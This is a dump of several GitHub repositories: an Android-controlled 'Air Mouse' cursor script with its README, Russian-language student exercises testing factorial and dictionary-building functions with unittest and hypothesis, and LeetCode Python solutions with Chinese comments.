matchx:\r\n #print(matchx.group())\r\n patx = r\"([\\d]+)\"\r\n x = re.search(patx, matchx.group())\r\n if x:\r\n print(x.group())\r\n\r\n\r\n matchy = re.search(pattern_Y,match2.group())\r\n if matchy:\r\n #print(matchy.group())\r\n paty = r\"([\\d]+)\"\r\n y = re.search(paty,matchy.group())\r\n if y:\r\n print(y.group())\r\n mouse.position=(5*int(x.group()),3*int(y.group()))\r\n\r\n\r\nwhile True:\r\n s.listen(5)\r\n c, addr = s.accept()\r\n url = c.recv(4800)\r\n # print(url)\r\n mouse_Action()\r\n time.sleep(0)\r\n\r\n" }, { "alpha_fraction": 0.7147937417030334, "alphanum_fraction": 0.7304409742355347, "avg_line_length": 40.35293960571289, "blob_id": "0118849ce09fc590bb33abe3404e103fa540eec0", "content_id": "1ac2dbbc6497350765ab0827649b3d37f518f0b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1407, "license_type": "no_license", "max_line_length": 131, "num_lines": 34, "path": "/README.md", "repo_name": "sudnyeshtalekar/Air-Mouse", "src_encoding": "UTF-8", "text": "# Android-Controlled-Cursor\nAndroid sensors controlled mouse cursor(Accelerometer and light intensity). \n\n## MODE 1: FOR Airmouse_touch.py\n \n<b>Description:</b> swipe on canvas for mouse movement and for clicks, buttons are there. <br />\n\n1.Download Apk provided in repository. <br />\n2.Change IP in both apk(in settings screen) as well as script. <br />\n![image](https://github.com/the-vishal/Air-Mouse/blob/master/Images/1.png)\n![image](https://github.com/the-vishal/Air-Mouse/blob/master/Images/2.png)\n\n3.left top of screen = left top of your PC and similarly other coordinates.   <br />\n![image](https://automatetheboringstuff.com/images/000011.jpg). <br />\n\n\n## MODE 2: FOR Air_Mouse.py\n<b>Description:</b> Android sensors controlled mouse cursor(Accelerometer and light intensity)\n\nFREE Sensor Node Apk: <br />\nhttps://play.google.com/store/apps/details?id=com.mscino.sensornode&hl=en. \n\n\n1. Select Stream. <br />\n2. Check Accelerometer and Light Intensity. <br />\n3. Run the program. <br />\n4. For moving mouse tilt mobile left,right,up and down. <br />\n5. For left click cover the light sensor (@top front near speaker/front camera). <br />\n6. For right click Push you're device downwards(Make sure it's register it's has been down) and then go upwards with you're device.\n7. In case of not responding or stuck, press ctrl+Alt+Del. \n\n\n\n<b>Demonstration :</b> https://youtu.be/DK0oLFoKDV8\n" }, { "alpha_fraction": 0.5495772361755371, "alphanum_fraction": 0.5703305006027222, "avg_line_length": 22.547170639038086, "blob_id": "14c860f115cc789b0bee74e16826facfb9f48102", "content_id": "463a142718d418d8a7cacc25ddd78b86a01fb4d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1301, "license_type": "no_license", "max_line_length": 54, "num_lines": 53, "path": "/Air_Mouse.py", "repo_name": "sudnyeshtalekar/Air-Mouse", "src_encoding": "UTF-8", "text": "from pynput.mouse import Button,Controller\r\nimport socket\r\nimport bs4\r\nimport time\r\nimport math\r\n\r\nip = '192.168.1.17'\r\nport = 5555\r\nsock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\r\nsock.bind((ip,port))\r\noldz = 9\r\nmouse = Controller()\r\n\r\ndef sensor_data():\r\n sauce = bs4.BeautifulSoup(data,'lxml')\r\n x = sauce.find('accelerometer1')\r\n X = int(float(x.text))\r\n y = sauce.find('accelerometer2')\r\n Y = int(float(y.text))\r\n z = sauce.find('accelerometer3')\r\n Z = int(float(z.text))\r\n print('X: ' + str(X))\r\n print('Y: ' + str(Y))\r\n print('Z: ' + str(Z))\r\n single_click = sauce.find('lightintensity')\r\n mouse.move(-X*6,Y*6)\r\n\r\n #left click\r\n if int(float(single_click.text)) <= 10:\r\n mouse.click(Button.left)\r\n mouse.release(Button.left)\r\n print(\"Left Click\")\r\n\r\n #right click\r\n if oldz > Z:\r\n if oldz - Z > 2:\r\n mouse.click(Button.right)\r\n mouse.release(Button.right)\r\n print(\"Right Click\")\r\n else:\r\n saveold()\r\n \r\ndef saveold():\r\n sauce = bs4.BeautifulSoup(data,'lxml')\r\n z = sauce.find('accelerometer3')\r\n Z = int(float(z.text))\r\n oldz = Z\r\n \r\nwhile True:\r\n rawdata = sock.recvfrom(port)\r\n data = str(rawdata)\r\n sensor_data()\r\n time.sleep(0)\r\n" }, { "alpha_fraction": 0.3958333432674408, "alphanum_fraction": 0.625, "avg_line_length": 14, "blob_id": "08ef73abcba98f256f660784ac84eb076fad58ae", "content_id": "3fcaa14bccd1f4544829bd9ee408672294302fb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 48, "license_type": "no_license", "max_line_length": 21, "num_lines": 3, "path": "/requirements.txt", "repo_name": "sudnyeshtalekar/Air-Mouse", "src_encoding": "UTF-8", "text": "beautifulsoup4==4.7.1\r\nbs4==0.0.1\r\nlxml==4.3.3\r\n" } ]
4
herzenuni/sem3-pytest-211117-Bolzuka
https://github.com/herzenuni/sem3-pytest-211117-Bolzuka
c210ca52acf13c9a2ef047761a8cef46a7f4feb0
188bc12d58071174f460bd644f0efb751ddc11c2
89e7414439c94c2a407741a6d7983828ea16fa07
refs/heads/master
2021-08-22T23:58:52.296674
2017-12-01T20:00:01
2017-12-01T20:00:01
112,013,824
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5887096524238586, "alphanum_fraction": 0.6079404354095459, "avg_line_length": 34.043479919433594, "blob_id": "b3c888d89900c575bd285fa159d8dbf3bb8fe42b", "content_id": "bde06551b24c4d3f3dea035b1192e3b8843743cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2238, "license_type": "no_license", "max_line_length": 99, "num_lines": 46, "path": "/hypothesis/task_with_star.py", "repo_name": "herzenuni/sem3-pytest-211117-Bolzuka", "src_encoding": "UTF-8", "text": "# Практичское задание the star\n# Шибаева Мария Дмитриевна| ИВТ | 2 курс | 1 подгруппа\n# Задание со звездочкой\n#\n# ЧАСТЬ 1\n#\n# Есть два списка разной длины. В первом содержатся ключи, а во втором значения.\n# Напишите функцию, которая создаёт из этих ключей и значений словарь.\n# Если ключу не хватило значения, в словаре должно быть значение None.\n# Значения, которым не хватило ключей, нужно игнорировать.\n#\n# Напишите с использованием пакета Py.test и модуля hypothesis тесты,\n# которые проверяли бы работу этой программы.\n#\n# Для проверки с помощью гипотез вам потребуется использовать стратегии (strategies).\n# Примеры их использования смотри в официальной документации: https://hypothesis.readthedocs.io/\n\ndef dic(keys, value):\n \"\"\"\n\n Функция, создаёт словарь из ключей и значений из списков разной длины.\n Если ключу не хватило значения, то значение будет None.\n Значения, которым не хватило ключей будут игноририроваться.\n \"\"\"\n\n dictionary = dict.fromkeys(keys, None)\n\n for i, k in enumerate(keys):\n if i < len(value):\n dictionary.update({k: value[i]})\n else:\n break\n\n return dictionary\n\n\nprint('\\n', dic([1, 2, 3, 4, 5], ['h', 'e', 'l', 'l', 'o'])) # {1:'h', 2:'e', 3:'l', 4:'l', 6:'o'}\nprint('\\n', dic(['M', 'a', 'y'], ['J', 'u', 'n', 'e'])) # {'M':'J', 'a':'u', 'y':'n'}\n\n# ПРОВЕРКА\nassert (dic([], []) == {})\nassert (dic([0, 1], []) == {0: None, 1: None})\nassert (dic([], [1, 2]) == {})\nassert (dic([3, 4, 5], ['a', 'b', ]) == {3: 'a', 4: 'b', 5: None})\nassert (dic([6, 7], ['c', 'd', 'e']) == {6: 'c', 7: 'd'})\nassert (dic([8], ['Maria']) == {8: 'Maria'})\n" }, { "alpha_fraction": 0.6343705654144287, "alphanum_fraction": 0.6541725397109985, "avg_line_length": 30.422222137451172, "blob_id": "b57727745e3f4d92dec86c949140a979c3507565", "content_id": "6c6a95e3bb8df7eaa2caa6a77c10a27374ed49e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1966, "license_type": "no_license", "max_line_length": 98, "num_lines": 45, "path": "/unittest/factorial.py", "repo_name": "herzenuni/sem3-pytest-211117-Bolzuka", "src_encoding": "UTF-8", "text": "# Практичское задание factorial\n# Шибаева Мария Дмитриевна| ИВТ | 2 курс | 1 подгруппа\n# Тестирование unittest\n#\n# ЧАСТЬ 1\n#\n# Использование unittest\n#\n# Реализовать вычисление факториала так, чтобы вычисление происходило для случаев,\n# когда пользователь ввел натуральное число от 0 до n (где, n — целое, натуральное\n# число, помещающееся в переменную целого числа).\n#\n# Для всех других случаев функция должна поднимать исключение TypeError или ValueError.\n#\n# Протестируйте работу этой функции с помощью unittest.\n# Учтите ситуации, для которых должно подниматься исключения и\n# найдите в документации модуля unittest как эту ситуацию обработать.\n\ndef fact(n):\n res = None\n if type(n) is not int:\n raise TypeError\n try:\n n = int(n)\n except (ValueError, TypeError) as e:\n print('Argument \"{}\" is not a number '.format(n))\n else:\n if n < 0:\n raise ValueError\n elif n == 0:\n return 1\n else:\n res = n * fact(n - 1)\n return res\n\n#print(\"3. {}\".format(fact(3)))\n#print(\"4. {}\".format(fact(0)))\n#print(\"5. {}\".format(fact(-1)))\n#print(\"6. {}\".format(fact('o')))\n#print('')\n\n\n#assert fact(5) == 120, \"Факториал при n = 5 должен быть равен 120\"\n#assert fact(0.5) == None, (\"При n = 0.5, значение факториала вычисляться не должно. Вернет None\")\n#assert fact(-5) == None, (\"При отрицательных значениях Ф. не вычисляется, возвращаем None\")\n" }, { "alpha_fraction": 0.6649446487426758, "alphanum_fraction": 0.6745387315750122, "avg_line_length": 32.875, "blob_id": "bb9ed87d54160ce7b487fe6fb462f44a87ffafa8", "content_id": "656b87579ac33a4caafad0495ec953486d54d15c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1823, "license_type": "no_license", "max_line_length": 96, "num_lines": 40, "path": "/hypothesis/test.py", "repo_name": "herzenuni/sem3-pytest-211117-Bolzuka", "src_encoding": "UTF-8", "text": "# Практичское задание the star\n# Шибаева Мария Дмитриевна| ИВТ | 2 курс | 1 подгруппа\n# Задание со звездочкой\n#\n# ЧАСТЬ 2\n#\n# Есть два списка разной длины. В первом содержатся ключи, а во втором значения.\n# Напишите функцию, которая создаёт из этих ключей и значений словарь.\n# Если ключу не хватило значения, в словаре должно быть значение None.\n# Значения, которым не хватило ключей, нужно игнорировать.\n#\n# Напишите с использованием пакета Py.test и модуля hypothesis тесты,\n# которые проверяли бы работу этой программы.\n#\n# Для проверки с помощью гипотез вам потребуется использовать стратегии (strategies).\n# Примеры их использования смотри в официальной документации: https://hypothesis.readthedocs.io/\n\nfrom Task_with_star_test import *\n\nimport pytest\n\[email protected](\"key ,value, expected\", [\n ([1, 2, 3, 4, 5], ['h', 'e', 'l', 'l', 'o'], {1:'h', 2:'e', 3:'l', 4:'l', 6:'o'}),\n (['M', 'a', 'y'], ['J', 'u', 'n', 'e'], {'M':'J', 'a':'u', 'y':'n'})])\n\ndef test_dic(value,expected):\n assert(dic(key, value) == expected)\n\n\nimport hypothesis.strategies as st\nfrom hypothesis import given\n\n\n@given(st.lists(st.integers()), st.lists(st.integers()))\ndef test_hyp(x, y):\n assert len(dic(x, y)) == len(dict.fromkeys(x, None))\n\n@given(st.lists(st.text()), st.lists(st.none()))\ndef test_hyp_hyp_none(x, y):\n assert dic(x, y) == dict.fromkeys(x, None)\n" }, { "alpha_fraction": 0.652402400970459, "alphanum_fraction": 0.6644144058227539, "avg_line_length": 29.272727966308594, "blob_id": "85dcf431045ec9877a0111e095402c2b1da14175", "content_id": "7c1a32b0e4f93ff6eb3ee276209a1563658d069e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1762, "license_type": "no_license", "max_line_length": 87, "num_lines": 44, "path": "/unittest/unittest.py", "repo_name": "herzenuni/sem3-pytest-211117-Bolzuka", "src_encoding": "UTF-8", "text": "# Практичское задание factorial\n# Шибаева Мария Дмитриевна| ИВТ | 2 курс | 1 подгруппа\n# Тестирование unittest\n#\n# ЧАСТЬ 2\n#\n# Использование unittest\n#\n# Реализовать вычисление факториала так, чтобы вычисление происходило для случаев,\n# когда пользователь ввел натуральное число от 0 до n (где, n — целое, натуральное\n# число, помещающееся в переменную целого числа).\n#\n# Для всех других случаев функция должна поднимать исключение TypeError или ValueError.\n#\n# Протестируйте работу этой функции с помощью unittest.\n# Учтите ситуации, для которых должно подниматься исключения и\n# найдите в документации модуля unittest как эту ситуацию обработать.\n\nfrom Factorial import *\n\nif __name__ == '__main__':\n import unittest\n\n\n class TestFactorialMethods(unittest.TestCase):\n def test_normal_values(self):\n self.assertEqual(fact(5), 120)\n self.assertEqual(fact(0.5), None)\n self.assertEqual(fact(-5), None)\n\n def test_except_ValueError(self):\n with self.assertRaises(ValueError):\n fact(-1)\n\n def test_except_TypeError(self):\n with self.assertRaises(TypeError):\n fact([0, 1])\n with self.assertRaises(TypeError):\n fact('hello')\n with self.assertRaises(TypeError):\n fact(0.5)\n\n\nunittest.main()\n" } ]
4
baijinping/leetcode
https://github.com/baijinping/leetcode
308664e57ca936db3a35724e9e950daf3229038d
f160ac6452a96afd8df0bd9d3aafc3d3655697b5
f6d7c49e8cb4713d731910f9a751d4eed5a40f67
refs/heads/master
2021-01-02T22:31:13.914002
2016-02-14T14:23:47
2016-02-14T14:23:47
40,587,996
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5226824283599854, "alphanum_fraction": 0.5562130212783813, "avg_line_length": 21.04347801208496, "blob_id": "6cacc4f87ab89bff05137253bfc7194f74ff0b7b", "content_id": "bcb74267c4de16762fb4d98d62f830b511766208", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 507, "license_type": "no_license", "max_line_length": 60, "num_lines": 23, "path": "/Leetcode 260-Single Number III.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/single-number-iii/\nrun time:60 ms\n\"\"\"\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n from collections import Counter\n counter = Counter(nums)\n return [k for k, v in counter.iteritems() if v == 1]\n\n\ndef test():\n s = Solution()\n print s.singleNumber(range(10) * 10 + [9999, 10000])\n pass\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4884868562221527, "alphanum_fraction": 0.5213815569877625, "avg_line_length": 19.266666412353516, "blob_id": "eda537b18c4bfccde74dd317d2e45490a9db3855", "content_id": "52def392b16f7139c89eb3cace9949addc4dd797", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 608, "license_type": "no_license", "max_line_length": 74, "num_lines": 30, "path": "/Leetcode 283-Move Zeroes.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/move-zeroes/\nrun time:128 ms\n\"\"\"\n\n\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n zero_count = nums.count(0)\n for i in xrange(zero_count):\n nums.remove(0)\n for i in xrange(zero_count):\n nums.append(0)\n \n\ndef test():\n s = Solution()\n \n l = [2,3,1,0,9,8,0,0,8,7,7,0,0]\n print l\n s.moveZeroes(l)\n print l\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.5447470545768738, "alphanum_fraction": 0.5661478638648987, "avg_line_length": 19.559999465942383, "blob_id": "e17abd3a74b5985b59198951d9e28bb841674c75", "content_id": "658bb2a2a96847f1cd71949c5811d42eeaae58bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 51, "num_lines": 25, "path": "/Leetcode 169-Majority Element.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/majority-element/\nrun time:68 ms\ntips:昨天刚看到Counter,今天刚好就用了\n\"\"\"\n\nclass Solution(object):\n def majorityElement(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n from collections import Counter\n counter = Counter(nums)\n return counter.most_common(1)[0][0]\n \n\ndef test():\n s = Solution()\n print s.majorityElement(range(10) + [0] * 10)\n pass\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4067995250225067, "alphanum_fraction": 0.4478311836719513, "avg_line_length": 17.54347801208496, "blob_id": "b29a4b1a16b78aff3f1475cdbc69faff3d735309", "content_id": "dcc2876bdd8e76cd7c595e46a227a8e37c18b60c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 935, "license_type": "no_license", "max_line_length": 50, "num_lines": 46, "path": "/Leetcode 258-Add Digits.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/add-digits/\nrun time:76 ms\ntip:一般思路的解法是addDigits1,写出来之后尝试找100以内数字和输出的规律,得出解法2\n\"\"\"\n\nclass Solution:\n def addDigits1(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n if num < 10:\n return num\n\n n = num\n while n >= 10:\n # 计算各位和\n sum_digit = 0\n while n > 0:\n t2 = n % 10\n sum_digit += t2\n n /= 10\n\n # 重新设定n\n n = sum_digit\n\n return n\n\n def addDigits2(self, num):\n if num < 10:\n return num\n\n n = num % 9\n return n if n != 0 else 9\n\ndef test():\n s = Solution()\n for i in xrange(100000):\n assert(s.addDigits1(i) == s.addDigits2(i))\n\n pass\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.41789883375167847, "alphanum_fraction": 0.4568093419075012, "avg_line_length": 19.396825790405273, "blob_id": "2529bd204f507b83777815dee088477361c1f68a", "content_id": "9f00800aa3284eb370519acb7333d8438e577d9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1341, "license_type": "no_license", "max_line_length": 73, "num_lines": 63, "path": "/Leetcode 319-Bulb Switcher.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/bulb-switcher/\nrun time:44 ms\ntips:逐个计算结果,可以发现规律\n\nn取值 = 0, 1, 4, 9, 16, 25, 36...\n结果 = 0, 1, 2, 3, 4, 5, 6, ...\n当n=[9, 16)时,结果为3。以此类推\n\"\"\"\n\n\nclass Solution(object):\n def bulbSwitch(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n import math\n return int(math.sqrt(n))\n \n def bs2(self, n):\n s = 1\n c = 1\n while 1:\n dc = c * c\n if n < dc:\n return c - 1\n s += dc\n c += 1\n\n def bs3(self, n):\n if n < 1: return 0\n if n is 1: return 1\n\n switchs = [1] * n\n for i in range(2, n + 1):\n t = i\n while t <= n:\n v = switchs[t - 1]\n switchs[t - 1] = 0 if v is 1 else 1\n t += i\n\n return switchs.count(1)\n\n\ndef test():\n solution = Solution()\n\n max_n = 100\n rst_list = []\n for n in range(max_n):\n print n, solution.bulbSwitch(n), solution.bs2(n), solution.bs3(n)\n # rst_list.append(solution.bulbSwitch(n))\n # from collections import Counter\n # counter = Counter(rst_list)\n # print counter\n # print solution.bs(0)\n pass\n\nif __name__ == '__main__':\n test()\n pass\n" }, { "alpha_fraction": 0.4905094802379608, "alphanum_fraction": 0.4970029890537262, "avg_line_length": 21.244443893432617, "blob_id": "275f175bbd7ae09bdd1312f0f516c155df14a422", "content_id": "62001a912fed6b1555e370fc94979810d376fadb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2026, "license_type": "no_license", "max_line_length": 54, "num_lines": 90, "path": "/Leetcode 206-Reverse Linked List.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/reverse-linked-list/\nrun time:64 ms(recursioon), 60 ms(un_recursion)\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def reverseList(self, head):\n \"\"\"\n 迭代算法\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next:\n return head\n\n pre_node = None\n cur_node = head\n\n while cur_node:\n if pre_node is None:\n pre_node = cur_node\n cur_node = pre_node.next\n pre_node.next = None\n continue\n else:\n next_node = cur_node.next\n cur_node.next = pre_node\n pre_node = cur_node\n cur_node = next_node\n\n return pre_node\n\n def reverseListRecursion(self, head):\n \"\"\"\n 递归算法\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next:\n return head\n\n return self._reverse_list(head)\n\n def _reverse_list(self, cur, pre=None):\n \"\"\"\n 递归主体\n \"\"\"\n if cur is None:\n return pre\n\n if pre is None:\n next = cur.next\n cur.next = None\n return self._reverse_list(next, cur)\n else:\n next = cur.next\n cur.next = pre\n pre = cur\n cur = next\n return self._reverse_list(cur, pre)\n\ndef show_link_list(head):\n l = []\n while head:\n l.append(str(head.val))\n head = head.next\n print ' '.join(l)\n\n\ndef test():\n s = Solution()\n head = ListNode(0)\n node1 = ListNode(1)\n node2 = ListNode(2)\n head.next = node1\n node1.next = node2\n\n show_link_list(head)\n new_head = s.reverseListRecursion(head)\n show_link_list(new_head)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4721485376358032, "alphanum_fraction": 0.4933687150478363, "avg_line_length": 15.954545021057129, "blob_id": "4c959960fd733e79ba33c6a9c77fe8ccb379095b", "content_id": "94e5ea2e60aed54f7c94254ee33fcd2a9ff4f356", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "no_license", "max_line_length": 43, "num_lines": 22, "path": "/Leetcode 292-Nim Game.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/nim-game/\nrun time:44 ms\ntips:归纳法\n\"\"\"\n\nclass Solution(object):\n def canWinNim(self, n):\n \"\"\"\n :type n: int\n :rtype: bool\n \"\"\"\n return n % 4 > 0\n\ndef test():\n s = Solution()\n for n in xrange(1, 10):\n print n, s.canWinNim(n)\n\nif __name__ == '__main__':\n test()\n " }, { "alpha_fraction": 0.49043479561805725, "alphanum_fraction": 0.5095652341842651, "avg_line_length": 19.535715103149414, "blob_id": "232705b40930f1df1693219e080b6e3226689a11", "content_id": "d7ef30325bebed48ab581e57088288a655c6e86d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 613, "license_type": "no_license", "max_line_length": 53, "num_lines": 28, "path": "/Leetcode 217-Contains Duplicate.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/contains-duplicate/\nrun time:56 ms\ntip:字典基于哈希表,查找O(1);列表基于链表,查找O(n)\n\"\"\"\nclass Solution(object):\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n appear_num = {}\n for n in nums:\n if n in appear_num:\n return True\n appear_num[n] = 0\n \n return False\n \n\ndef test():\n s = Solution()\n print s.containsDuplicate(range(100000))\n pass\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4230921268463135, "alphanum_fraction": 0.44563066959381104, "avg_line_length": 20.80172348022461, "blob_id": "fded204b55906725ee5af202265666dad1f085b0", "content_id": "df577d39a1acde3c8510fe0d31a394892192c8b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2673, "license_type": "no_license", "max_line_length": 81, "num_lines": 116, "path": "/Leetcode 235-Lowest Common Ancestor of a Binary Search Tree.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/\nrun time:152 ms\ntip:区分好每个不同角色节点的判断逻辑就行了\n\"\"\"\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n# def __str__(self):\n# return str(self.val)\n\nclass Solution:\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n _, node = self.find_ancestor(root, p, q)\n return node\n\n\n def find_ancestor(self, root, p, q):\n if not root:\n return 0, None\n\n node = root\n \n weight = 0\n # 左边有没有\n if root.left:\n find_num, node = self.find_ancestor(root.left, p, q)\n # 找到了目标,直接返回\n if find_num == 2:\n return 2, node\n\n # 找到p或q\n if find_num:\n weight += 1\n\n # 右边有没有\n if root.right:\n find_num, node = self.find_ancestor(root.right, p, q)\n # 找到了目标,直接返回\n if find_num == 2:\n return 2, node\n\n # 找到p或q\n if find_num:\n weight += 1\n\n # 自己就是p或q\n if root is p or root is q:\n weight += 1\n\n # 自己就是目标\n if weight == 2:\n return 2, root\n\n # 返回查询结果\n else:\n return weight, node\n\ndef test():\n class TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.val)\n\n # create test data\n \"\"\"\n _______6______\n / \\\n ___2__ ___8__\n / \\ / \\\n 0 4 7 9\n / \\\n 3 5\n \"\"\"\n root = TreeNode(6)\n node1 = TreeNode(2)\n node2 = TreeNode(8)\n node3 = TreeNode(0)\n node4 = TreeNode(4)\n node5 = TreeNode(3)\n node6 = TreeNode(5)\n node7 = TreeNode(7)\n node8 = TreeNode(9)\n\n root.left = node1\n root.right = node2\n\n node1.left = node3\n node1.right = node4\n\n node4.left = node5\n node4.right = node6\n\n node2.left = node7\n node2.right = node8\n\n s = Solution()\n print s.lowestCommonAncestor(root, node1, node2)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.38468310236930847, "alphanum_fraction": 0.4040493071079254, "avg_line_length": 17.933332443237305, "blob_id": "7a8d05bbb724b219cb1bda508e58cc2e1f73ebca", "content_id": "348ec442b26b53b50c66547a2b04bbd605341fc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1332, "license_type": "no_license", "max_line_length": 51, "num_lines": 60, "path": "/Leetcode 13-Roman to Integer.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/roman-to-integer/\nrun time:156 ms\ntips:从前往后遍历罗马数字,如果某个数小于等于前一个数,则把该数加入到结果中;\n反之,则在结果中两次减去前一个数,并加上当前这个数\n\"\"\"\nimport operator\n\nclass Solution(object):\n\n def romanToInt(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n # 罗马数字定义\n roman_value = {\n 'I': 1,\n 'V': 5,\n 'X': 10,\n 'L': 50,\n 'C': 100,\n 'D': 500,\n 'M': 1000\n }\n\n # 计算结果\n result = 0\n\n # 前一个值\n pre_v = None\n\n # 遍历计算\n for c in s:\n now_v = roman_value[c]\n\n # 首个字符\n if not pre_v:\n result = now_v\n else:\n # 根据前后大小关系,改变计算方法\n if pre_v < now_v:\n result -= pre_v * 2\n result += now_v\n elif pre_v >= now_v:\n result += now_v\n\n pre_v = now_v\n\n return result\n\n\ndef test():\n s = Solution()\n roman_num = 'DCXXI'\n print s.romanToInt(roman_num)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.49016642570495605, "alphanum_fraction": 0.5030257105827332, "avg_line_length": 19.984127044677734, "blob_id": "625bddd60f0eb4e69c646f0b68701e610abf55c0", "content_id": "d30c547b6f8666b4830fa465b1d002bddcc92674", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1418, "license_type": "no_license", "max_line_length": 63, "num_lines": 63, "path": "/Leetcode 238-Product of Array Except Self.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/product-of-array-except-self/\nrun time:168 ms\ntips:\n\"\"\"\n\n\nclass Solution(object):\n def productExceptSelfOld(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n len_n = len(nums)\n products = [1] * len_n\n for i, n in enumerate(nums):\n for j, n in enumerate(nums):\n if j != i:\n products[i] *= nums[j]\n return products\n\n\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n if not nums:\n return []\n\n len_n = len(nums)\n\n # 计算结果\n products = [1] * len_n\n\n # 前面所有元素之积\n pre_product = 1\n\n # 后面所有元素之积\n post_product = 1\n\n # 逆序遍历nums,在products中插入后面元素之积\n for i, n in enumerate(reversed(nums)):\n products[len_n - i - 1] = post_product\n post_product *= n\n\n # 正序遍历nums,在products中乘以前面元素之积\n for i, n in enumerate(nums):\n products[i] *= pre_product\n pre_product *= n\n\n return products\n\n\n\ndef test():\n s = Solution()\n print s.productExceptSelf(range(1, 100))\n print s.productExceptSelfOld(range(1, 100))\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4430781304836273, "alphanum_fraction": 0.4510115087032318, "avg_line_length": 23.009523391723633, "blob_id": "b036c088d22b7e4de9a8d25fd9e4ce99aeba367d", "content_id": "43eeb08f303fff4d60788ac0d4ad3d8ffd5a1888", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2647, "license_type": "no_license", "max_line_length": 67, "num_lines": 105, "path": "/Leetcode 92-Reverse Linked List II.py", "repo_name": "baijinping/leetcode", 